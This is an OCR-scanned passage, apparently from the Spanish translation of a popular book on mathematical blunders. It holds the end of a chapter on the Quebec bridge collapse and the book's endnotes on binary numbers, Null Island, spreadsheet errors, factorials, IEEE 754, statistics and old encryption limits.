Trece obreros perdieron la vida. La seccion media se hundi6 y, hasta la fecha, sigue alojada en el
lecho del rio, cerca del primer puente que se derrumbd. Construir es un trabajo peligroso y el
error mas pequefio puede costar vidas.

Ser ingeniero, o trabajar en cualquier trabajo importante en el que se utilicen las
matematicas, es un trabajo aterrador. Debido al desastre del puente de Quebec, desde 1925,
cualquier estudiante que se gradu¢ en un grado de ingenieria en Canadd puede acudir



voluntariamente al ritual de nominacion de ingeniero, en el que se les da un anillo de acero para
recordarles la humildad y falibilidad de los ingenieros. Puede acabar en tragedia cuando un
matematico comete un error que provoca un desastre, pero eso no significa que podamos
prescindir de ellas. Necesitamos ingenieros que disefien puentes, a pesar de la presion que eso
conlleva.

E

Dos fotografias del puente: una tomada justo antes de que se derrumbara y otra después.

Nuestro mundo moderno depende de las matematicas y, cuando las cosas salen mal, deberia
servir como recordatorio aleccionador de que necesitamos estar atentos al queso caliente pero
también de que debemos recordar que muchas cosas que funcionan a la perfeccion a nuestro
alrededor lo hacen gracias a las matematicas.
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Notas



1. Por supuesto, no podemos grabar un simbolo + 0 — en un numero binario, por lo que se utiliza un sistema para
indicar positivo o negativo utilizando el propio sistema binario, pero sigue necesitando un bit de espacio.



1. Para cualquier programador que piense que esto ya no es un problema, me estoy refiriendo a un problema del
XMLEncoder en Apache Flex. Compruebe el informe de errores FLEX-33644.



2. En la mayoria de mapas en linea no aparece mas que agua donde deberia estar la isla Null, excepto en los datos
cartograficos de cddigo abierto de Natural Earth, que incluyen una mancha de un metro cuadrado de tierra en el
punto 0,0 desde su version 1.3.



3. Los puede descargar todos en https://oeis.org/A262222. Dato curioso: fueron reunidos por mi compafiero de
matematicas Christian Lawson-Perfect, conocido por el poliedro Perfect-Herschel.



4. Suena ligeramente peor de lo que es porque las formulas viajan en grupos: una tinica formula se puede
«arrastrar» para copiarla en varias celdas. Si descontamos los duplicados, las hojas de calculo tenian una media de
17,5 errores Ginicos cada una.



1. En mi libro Things to Make and Do in the Fourth Dimension podra encontrar una guia con la que hacer sus
propias figuras.



1. Me doy cuenta de que parte de esta extrafieza se traslada a los semitonos (y la definicion de una escala mayor).
Pero son solo semiculpables.



2. Un signo de exclamacion se utiliza para indicar que ese numero es un factorial y, dado lo sorprendentemente
largas que pueden ser las respuestas, parece muy apropiado.



3. Siempre dispuestos a aceptar un desafio, los matematicos le dieron el nombre de «McCombinacion» a cualquier
valor n! — n (secuencia A005096 en la Enciclopedia Online de Secuencias de Numeros Enteros) y estan intentando
encontrar un uso para estos nimeros. Hasta el momento no lo han encontrado.



4. El Menu McChoice fue una de las pocas veces en las que McDonald’s vendié perritos calientes. Y, de algin
modo, ese no fue el mayor error en todo esto.



5. Para ser justos, hay que decir que, en 1983, Estados Unidos ampli6 sus codigos postales hasta los nueve digitos
del modo «cddigo + 4», pero a los estadounidenses amantes de la libertad no les hizo gracia que les asignaran
numeros especificos. Era una especie de /984. Por lo que, desde entonces, los codigos postales han seguido
teniendo solo cinco digitos de cara al piblico; entre bambalinas, los c6digos de barras de correos que se imprimen
en las cartas utilizan el «codigo + 6» para asignar un codigo de once digitos a todos los edificios del pais.



1. Ir6nicamente, la tnica fraccion binaria que se puede grabar eficientemente es '2. En la base 10 es 0,5 porque
cinco es la mitad de diez y, de la misma forma, como binario de base 2 es 0,1 porque uno es la mitad de dos. Y si
hubiera infinitos digitos en 0,01111111 ... seria exactamente 0,1 de la misma forma que 0,99999 ... # 1. Ignore a la

gente que en internet se queja de que 0,99999... # 1, porque estan equivocados.



2. El numero 754 no es significativo; el IEEE numera sus estandares de forma secuencial en el orden en el que
fueron solicitados. Justo antes de este estaba el 753: «Métodos Funcionales y Equipamientos para Medir el
Rendimiento de los Sistemas de Senalizacion de Direcciones mediante Pulsos» y, justo después, el 755:
«Extensiones de Uso-test en Implementaciones de Lenguajes de Alto Nivel para Microprocesadores».



* En inglés son red (rojo) — blue (azul) — green (verde) — yellow (amarillo) — magenta. (N. del t.)



1. Casi. El ciclo «interno» no se invierte con el doble de dados, pero el emparejamiento rojo contra verde se iguala
al 49 % (ligeramente a favor del verde). Existe una segunda version de los dados de Grime que soluciona este
problema para que se siga decantando por el rojo, pero pierde subconjuntos de dados, que funcionan como

conjuntos no transitivos mas pequeflos.



* El Harlem Shake fue un meme que se hizo popular en 2013. Se trataba de unos videos que reproducian un baile
aleatorio que empezaba con un individuo solo y luego seguia con un grupo alrededor suyo, en los que sonaban
siempre la misma musica. (N. del t.)



1. Esta cifra cuidadosamente calculada esta sorprendentemente cerca de la sencilla suposicion de que cada una de
las tres mil transacciones diarias durante veintiddos meses hizo bajar el indice un promedio de 0,00045.



2. No solo he dividido la diferencia entre las dos fechas; es la prediccion a partir de la linea que mejor se adapta a
todos los récords realizados entre el récord de 10,6 segundos del 6 de julio de 1912 y el de 10,2 segundos del 20
de junio de 1936.



3. Esta historia plantea algunos problemas fisicos. Puede que un dia la reglamentacion respecto a la ayuda que
aporta el viento tenga en cuenta el movimiento browniano.



1. Por supuesto, si empezamos con un trozo de queso suizo solido y lo cortamos en lonchas, los agujeros se
alinean porque se formaron por las burbujas del queso. Asi que se ha de suponer que se han cortado las lonchas y
luego se han mezclado aleatoriamente.



2. Es justo lo contrario a lo que vimos en el caso del incendio del Apolo, donde la tinica salida era una escotilla
tapon. Las salidas de emergencia nunca deberian ser escotillas tapon. En este caso, el parabrisas nunca se deberia
abrir, por lo que se podia instalar desde dentro.



1. Las unidades como los pies, libras, y otras, utilizadas en Estados Unidos son «Unidades tradicionales de Estados
Unidos» o «Sistema anglosajon de unidades», no unidades imperiales. Pero yo utilizaré «unidades imperiales»
como un comodin con el que referirme a todas estas familias de unidades.



1. El «equipo de expertos» estaba compuesto realmente por un grupo de estudiantes que querian un trabajo extra, y
las mediciones se tenian que hacer cuando no tenian clase. Las fuerzas aéreas intentaron que participase un
departamento de antropologia de una universidad, pero no le interesé a nadie.



2. Los conjuntos afadidos de datos se lograron mediante una evolucion lenta de los datos a través de diminutos
cambios que movian los puntos que representaban los datos, creando una nueva imagen, pero sin modificar ni las
medias ni las desviaciones estandar. El software para hacer esto esta disponible de manera gratuita.



3. Finalmente, su estudio fue publicado trece afios mas tarde, en 1993, como ejemplo de sesgo de publicacion.



4. Para conocimiento de todos, aclaro que esto fue antes de que yo mismo escribiera para el Guardian, pero el
articulo fue escrito por mi amigo Ben Goldacre, famoso por AllTrials.



1. En el momento de escribir este libro, ERNIE no se encuentra expuesto al publico en el Museo de Ciencias.



* En marzo de 2019 se puso en marcha ERNIE 5, un ordenador cuantico que es capaz de producir 13 millones de
ganadores en tan solo 12 minutos una vez al mes. (N. del t.)



2. Me satisface enormemente que una parte del recuento de palabras de este libro haya sido, en este momento,
generada al azar.



3. Esto fue en la época en la que el gobierno de Estados Unidos controlaba la exportacion de software con una
fuerte encriptacion, ya que consideraba que esa criptografia era un arma. Por lo que la «version internacional» de
Netscape utilizaba un rango menor de claves criptograficas (40 bits en comparacion con los habituales 128 bits)
que, de todas formas, podian ser descifradas con cierta facilidad en unas treinta horas.



1. Combinado con un lenguaje diferente que ignore los espacios, tabulaciones y saltos de linea, esto significa que
es posible escribir un codigo bilingiie que puede ser interpretado por dos lenguajes de programacion diferentes.



Pifias matematicas. Equivocarse nunca ha sido tan divertido
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